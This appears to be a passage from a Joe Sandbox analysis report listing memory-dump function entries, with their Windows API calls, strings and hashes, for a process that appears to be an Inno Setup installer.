                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CurrentDirectory
                                                                                          • String ID:
                                                                                          • API String ID: 1611563598-0
                                                                                          • Opcode ID: 9cfe1b671e2ded52e2a4f1899edd371c25323ab6eac1b77aed394817f5a1d109
                                                                                          • Instruction ID: 2ee9fcf0c2ecb8048618371478a38130c752a95b947e2a8aefd026f579ab26ad
                                                                                          • Opcode Fuzzy Hash: 9cfe1b671e2ded52e2a4f1899edd371c25323ab6eac1b77aed394817f5a1d109
                                                                                          • Instruction Fuzzy Hash: 33B012E03D120A2BCA0079FE4CC192A00CC46292163401B3B3006EB1C3D83DC8180824
                                                                                          APIs
                                                                                          • SetErrorMode.KERNEL32(?,0042E40D), ref: 0042E400
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorMode
                                                                                          • String ID:
                                                                                          • API String ID: 2340568224-0
                                                                                          • Opcode ID: cb8e2ebd86b0ac1182f6c4657d989dfa6a466ad308997f4b3834ff3b1e7758f7
                                                                                          • Instruction ID: 426ac138898b17598b25982f2c454791bd479401c65f9a69ae9baa170422678e
                                                                                          • Opcode Fuzzy Hash: cb8e2ebd86b0ac1182f6c4657d989dfa6a466ad308997f4b3834ff3b1e7758f7
                                                                                          • Instruction Fuzzy Hash: CDB09B7670C6105EE709D6D5B45552D63D4D7C57207E14477F010D2581D57D58054E18
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DestroyWindow
                                                                                          • String ID:
                                                                                          • API String ID: 3375834691-0
                                                                                          • Opcode ID: 1244af60e57b01067fe56da529b9c4312cbd500fa9ed17bad69dff1823a021af
                                                                                          • Instruction ID: 4f6e5339ba6c71e81ef5aec1f6829bfe42d3c8de95bc03762545e97b2cddf6f9
                                                                                          • Opcode Fuzzy Hash: 1244af60e57b01067fe56da529b9c4312cbd500fa9ed17bad69dff1823a021af
                                                                                          • Instruction Fuzzy Hash: 1AA00275501500AADA00E7B5D849F7E2298BB44204FD905F9714897056C57C99008B55
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 2f87504b9b3c5ef8a424e08888e9b878f09f15df180bfdf00abd21092ab1bc52
                                                                                          • Instruction ID: 41a6872630840156d23f43a697f0b10540748f54e9aa1b8241e7bbe25a2b1888
                                                                                          • Opcode Fuzzy Hash: 2f87504b9b3c5ef8a424e08888e9b878f09f15df180bfdf00abd21092ab1bc52
                                                                                          • Instruction Fuzzy Hash: 73517574E002099FDB00EFA9C892AAFBBF5EB49314F50817AE500E7351DB389D41CB98
                                                                                          APIs
                                                                                          • VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EDA4,?,0042388F,00423C0C,0041EDA4), ref: 0041F3E2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocVirtual
                                                                                          • String ID:
                                                                                          • API String ID: 4275171209-0
                                                                                          • Opcode ID: f624f178b2757757f6ee0ed82108e7e17b49aa81eb1cfd09d0e3ddd3732ee692
                                                                                          • Instruction ID: 3312bc658de40493dbbbdb628fa1ac862c14c743cb2aabe02eeb7d71ec829e14
                                                                                          • Opcode Fuzzy Hash: f624f178b2757757f6ee0ed82108e7e17b49aa81eb1cfd09d0e3ddd3732ee692
                                                                                          • Instruction Fuzzy Hash: D5115A752007059BCB20DF19D880B82FBE5EF98390F10C53BE9688B385D3B4E8458BA9
                                                                                          APIs
                                                                                          • GetLastError.KERNEL32(00000000,0045302D), ref: 0045300F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast
                                                                                          • String ID:
                                                                                          • API String ID: 1452528299-0
                                                                                          • Opcode ID: 796ee09302341f2f0fe022b6b7ad64e2259239b3e6510a293da86372227c0e6a
                                                                                          • Instruction ID: b902f5f71593d0acd8113edc39c0d5725662cc955bae9521e0e34912f41e4d76
                                                                                          • Opcode Fuzzy Hash: 796ee09302341f2f0fe022b6b7ad64e2259239b3e6510a293da86372227c0e6a
                                                                                          • Instruction Fuzzy Hash: 850170356042486FC701DF699C008EEFBE8EB4D76171082B7FC24C3382D7345E059664
                                                                                          APIs
                                                                                          • VirtualFree.KERNEL32(?,?,00004000,?,?,?,00003D90,00007D93,00401973), ref: 00401766
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FreeVirtual
                                                                                          • String ID:
                                                                                          • API String ID: 1263568516-0
                                                                                          • Opcode ID: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
                                                                                          • Instruction ID: fd45504e6079eb3c344fd15592bdf3984e08e9418c18d248e8b2091ea2ac4f2a
                                                                                          • Opcode Fuzzy Hash: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
                                                                                          • Instruction Fuzzy Hash: A10120766443148FC3109F29EDC0E2677E8D794378F15453EDA85673A1D37A6C0187D8
                                                                                          APIs
                                                                                          • LocalAlloc.KERNEL32(00000000,00000644,?,0049B450,004013A3,?,?,00401443,?,?,?,00003D90,00007D93,00401983), ref: 00401353
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocLocal
                                                                                          • String ID:
                                                                                          • API String ID: 3494564517-0
                                                                                          • Opcode ID: 833cffc3d4ae6fddf196a7017a3fa962a39b4640526386715143ff6d9bbaf8a6
                                                                                          • Instruction ID: 71c91fbc4c3ed8fd369fb1531a6952d3d9178ec9d6227f0a2e7a8dd8dab45303
                                                                                          • Opcode Fuzzy Hash: 833cffc3d4ae6fddf196a7017a3fa962a39b4640526386715143ff6d9bbaf8a6
                                                                                          • Instruction Fuzzy Hash: 0CF05E717013018FE724CF29D980656B7E1EBA9365F24807EE5C5D7761D3358C419B94
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseHandle
                                                                                          • String ID:
                                                                                          • API String ID: 2962429428-0
                                                                                          • Opcode ID: 11f5b55454e2001d57305e4d26194660ee260494afc1ae4151642f59c6b90a28
                                                                                          • Instruction ID: 073c3129693101c5e7833b7ffa09eca8aa7a1e81ff9bb2ce6bcaaab03392c7d4
                                                                                          • Opcode Fuzzy Hash: 11f5b55454e2001d57305e4d26194660ee260494afc1ae4151642f59c6b90a28
                                                                                          • Instruction Fuzzy Hash:
                                                                                          APIs
                                                                                          • GetVersion.KERNEL32(?,00418FF0,00000000,?,?,?,00000001), ref: 0041F126
                                                                                          • SetErrorMode.KERNEL32(00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F142
                                                                                          • LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F14E
                                                                                          • SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F15C
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F18C
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1B5
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1CA
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1DF
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1F4
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F209
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F21E
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F233
                                                                                          • GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F248
                                                                                          • GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F25D
                                                                                          • FreeLibrary.KERNEL32(00000001,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F26F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
                                                                                          • String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
                                                                                          • API String ID: 2323315520-3614243559
                                                                                          • Opcode ID: 62814c6def9f01bce39a36d2c4270fbdb1234b3c2cb706e68bb71ccad2797809
                                                                                          • Instruction ID: e724c2aa341d6685c6ab1c4031cb88844a897dd828fe35f3324890dc483947ec
                                                                                          • Opcode Fuzzy Hash: 62814c6def9f01bce39a36d2c4270fbdb1234b3c2cb706e68bb71ccad2797809
                                                                                          • Instruction Fuzzy Hash: 8E314FB2640700ABEB01EBB9AC46A6B3794F328724741093FB508D7192D77C5C55CF5C
                                                                                          APIs
                                                                                          • GetTickCount.KERNEL32 ref: 0045862F
                                                                                          • QueryPerformanceCounter.KERNEL32(021C3858,00000000,004588C2,?,?,021C3858,00000000,?,00458FBE,?,021C3858,00000000), ref: 00458638
                                                                                          • GetSystemTimeAsFileTime.KERNEL32(021C3858,021C3858), ref: 00458642
                                                                                          • GetCurrentProcessId.KERNEL32(?,021C3858,00000000,004588C2,?,?,021C3858,00000000,?,00458FBE,?,021C3858,00000000), ref: 0045864B
                                                                                          • CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 004586C1
                                                                                          • GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,021C3858,021C3858), ref: 004586CF
                                                                                          • CreateFileA.KERNEL32(00000000,C0000000,00000000,00499B24,00000003,00000000,00000000,00000000,0045887E), ref: 00458717
                                                                                          • SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,0045886D,?,00000000,C0000000,00000000,00499B24,00000003,00000000,00000000,00000000,0045887E), ref: 00458750
                                                                                            • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                          • CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 004587F9
                                                                                          • CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0045882F
                                                                                          • CloseHandle.KERNEL32(000000FF,00458874,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00458867
                                                                                            • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004983A5,00000000), ref: 0045349F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
                                                                                          • String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
                                                                                          • API String ID: 770386003-3271284199
                                                                                          • Opcode ID: a79b95222fdd7f93703faf8b41e336e667bfcfce42d59c7d41cb43afe138310a
                                                                                          • Instruction ID: 54c9584e853abf465b9d0f30fdd509929e5717807e8393d963d4681616065440
                                                                                          • Opcode Fuzzy Hash: a79b95222fdd7f93703faf8b41e336e667bfcfce42d59c7d41cb43afe138310a
                                                                                          • Instruction Fuzzy Hash: 19710470A003449EDB11EB65CC45B9E77F4EB05705F1085BAF904FB282DB7899488F69
                                                                                          APIs
                                                                                            • Part of subcall function 00478370: GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,021C2BD0,?,?,?,021C2BD0,00478534,00000000,00478652,?,?,-00000010,?), ref: 00478389
                                                                                            • Part of subcall function 00478370: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0047838F
                                                                                            • Part of subcall function 00478370: GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,021C2BD0,?,?,?,021C2BD0,00478534,00000000,00478652,?,?,-00000010,?), ref: 004783A2
                                                                                            • Part of subcall function 00478370: CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,021C2BD0,?,?,?,021C2BD0), ref: 004783CC
                                                                                            • Part of subcall function 00478370: CloseHandle.KERNEL32(00000000,?,?,?,021C2BD0,00478534,00000000,00478652,?,?,-00000010,?), ref: 004783EA
                                                                                            • Part of subcall function 00478448: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,004784DA,?,?,?,021C2BD0,?,0047853C,00000000,00478652,?,?,-00000010,?), ref: 00478478
                                                                                          • ShellExecuteEx.SHELL32(0000003C), ref: 0047858C
                                                                                          • GetLastError.KERNEL32(00000000,00478652,?,?,-00000010,?), ref: 00478595
                                                                                          • MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 004785E2
                                                                                          • GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 00478606
                                                                                          • CloseHandle.KERNEL32(00000000,00478637,00000000,00000000,000000FF,000000FF,00000000,00478630,?,00000000,00478652,?,?,-00000010,?), ref: 0047862A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Handle$CloseFile$AddressAttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcProcessShellWait
                                                                                          • String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
                                                                                          • API String ID: 883996979-221126205
                                                                                          • Opcode ID: e395260aa41f9ccfe4acc1b6a7661f4649f54ca3d6eb9a5996b4c5021f667ff4
                                                                                          • Instruction ID: b05a94d88e1d9ee0fbafe330a65326fe691daae9ca7e583bddfe233bc85c86e1
                                                                                          • Opcode Fuzzy Hash: e395260aa41f9ccfe4acc1b6a7661f4649f54ca3d6eb9a5996b4c5021f667ff4
                                                                                          • Instruction Fuzzy Hash: 0E314470A40208BEDB11EFE6C859ADEB7B8EB45718F50843FF508E7281DA7C99058B5D
                                                                                          APIs
                                                                                          • SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 004229F4
                                                                                          • ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422BBE), ref: 00422A04
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: MessageSendShowWindow
                                                                                          • String ID:
                                                                                          • API String ID: 1631623395-0
                                                                                          • Opcode ID: 7d35c436bdc301b114185cd71e9b34d3d25d314c488a7ae3a8b4f853deae8013
                                                                                          • Instruction ID: 9e9026b6a08d43f4c34b0c014f83afec13b9727198b5f0eb67f7172f0d04fbcb
                                                                                          • Opcode Fuzzy Hash: 7d35c436bdc301b114185cd71e9b34d3d25d314c488a7ae3a8b4f853deae8013
                                                                                          • Instruction Fuzzy Hash: 90915171B04214BFDB11EFA9DA86F9D77F4AB04304F5500BAF504AB392CB78AE419B58
                                                                                          APIs
                                                                                          • IsIconic.USER32(?), ref: 00418393
                                                                                          • GetWindowPlacement.USER32(?,0000002C), ref: 004183B0
                                                                                          • GetWindowRect.USER32(?), ref: 004183CC
                                                                                          • GetWindowLongA.USER32(?,000000F0), ref: 004183DA
                                                                                          • GetWindowLongA.USER32(?,000000F8), ref: 004183EF
                                                                                          • ScreenToClient.USER32(00000000), ref: 004183F8
                                                                                          • ScreenToClient.USER32(00000000,?), ref: 00418403
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$ClientLongScreen$IconicPlacementRect
                                                                                          • String ID: ,
                                                                                          • API String ID: 2266315723-3772416878
                                                                                          • Opcode ID: 093fbc58c9f2bb22a74bd7cb36b3f86111f4d6c014dbe9a16a5ffda61369e0f0
                                                                                          • Instruction ID: 8875a2d430ef8be2c5346fa25315cde737655516302bc4d2344e38a88124d083
                                                                                          • Opcode Fuzzy Hash: 093fbc58c9f2bb22a74bd7cb36b3f86111f4d6c014dbe9a16a5ffda61369e0f0
                                                                                          • Instruction Fuzzy Hash: 2B112B71505201ABEB00DF69C885F9B77E8AF48314F04067EFD58DB296D738D900CB65
                                                                                          APIs
                                                                                          • GetCurrentProcess.KERNEL32(00000028), ref: 004555F3
                                                                                          • OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004555F9
                                                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00455612
                                                                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00455639
                                                                                          • GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 0045563E
                                                                                          • ExitWindowsEx.USER32(00000002,00000000), ref: 0045564F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
